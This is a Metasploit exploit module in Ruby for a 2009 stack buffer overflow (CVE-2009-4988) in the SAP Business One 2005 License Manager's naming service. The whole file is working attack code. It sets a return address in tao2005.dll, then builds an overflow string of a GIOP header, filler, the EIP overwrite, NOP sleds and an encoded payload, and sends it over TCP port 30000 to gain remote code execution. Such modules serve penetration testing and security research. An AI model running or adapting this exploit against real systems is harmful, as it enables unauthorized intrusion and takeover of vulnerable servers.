##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SAP Business One License Manager 2005 Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in the SAP Business One 2005
          License Manager 'NT Naming Service' A and B releases. By sending an
          excessively long string the stack is overwritten enabling arbitrary
          code execution.
        },
        'Author' => 'Jacopo Cervini',
        'References' => [
          [ 'OSVDB', '56837' ],
          [ 'CVE', '2009-4988' ],
          [ 'BID', '35933' ],
          [ 'EDB', '9319' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 400,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          # aushack tested OK w2k3sp2 20090910
          [ 'Sap Business One 2005 B1 Universal', { 'Ret' => 0x00547b82 } ], # tao2005.dll push esp /ret
        ],
        'Privileged' => true,
        'DefaultTarget' => 0,
        'DisclosureDate' => '2009-08-01',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([Opt::RPORT(30000)])
  end

  def exploit
    connect

    sploit = "\x47\x49\x4f\x50\x01\x00\x01\x00" + rand_text_english(1024)
    sploit << [target.ret].pack('V') # EIP for w2k3sp2 - jacopo (1024)
    sploit << [target.ret].pack('V') # EIP for w2k3sp0 - aushack (1028)
    sploit << make_nops(44) + payload.encoded + make_nops(384)

    print_status("Trying target #{target.name}...")
    sock.put(sploit)
    select(nil, nil, nil, 1)

    handler
    disconnect
  end
end
